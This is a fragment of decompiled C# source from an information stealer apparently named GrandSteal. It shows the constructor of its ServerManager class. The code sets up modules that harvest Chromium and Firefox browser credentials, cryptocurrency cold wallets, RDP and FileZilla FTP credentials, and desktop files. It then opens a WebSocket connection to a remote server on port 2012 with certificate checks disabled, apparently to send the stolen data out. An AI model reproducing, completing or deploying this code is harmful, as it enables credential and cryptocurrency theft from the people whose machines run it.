// Token: 0x0600004E RID: 78 RVA: 0x00003EC0 File Offset: 0x000020C0 public ServerManager(string IP, string buildID) { ProtoHelper.PopulateTypes(typeof(RequestBase)); ProtoHelper.PopulateTypes(typeof(ResponseBase)); ProtoHelper.PopulateTypes(typeof(Request <CredentialsRequest>)); ProtoHelper.PopulateTypes(typeof(Request <string>)); ProtoHelper.PopulateTypes(typeof(Response <bool>)); ProtoHelper.PopulateTypes(typeof(Response <GrandSteal.Client.Models.ClientSettings>)); RuntimeTypeModel.Default.AutoAddMissingTypes = true; RuntimeTypeModel.Default.AutoCompile = false; RuntimeTypeModel.Default.CompileInPlace(); this.BrowserCredentialsManagers = new List <ICredentialsManager <BrowserProfile> > { new ChromiumManager(null), new FirefoxBase() }; this.ColdWalletManagers = new List <ICredentialsManager <ColdWallet> > { new ColdWalletManager() }; this.RdpManagers = new List <ICredentialsManager <RdpCredential> > { new RdpManager() }; this.FtpManagers = new List <ICredentialsManager <FtpCredential> > { new FileZillaManager() }; this.DesktopFileManagers = new List <DesktopFileManager> { new DesktopFileManager() }; this.BuildID = buildID; this.Handlers = new Dictionary <System.Func <RequestBase, bool>, System.Action <RequestBase, WebSocket> >(); this.Host = string.Format("ws://{0}:{1}/websocket", IP, 2012); this.Server = new WebSocket(this.Host) { AutoSendPingInterval = 5000, EnableAutoSendPing = true, AllowUnstrustedCertificate = true }; this.InitializeServer(); Console.WriteLine("Server is initialized"); }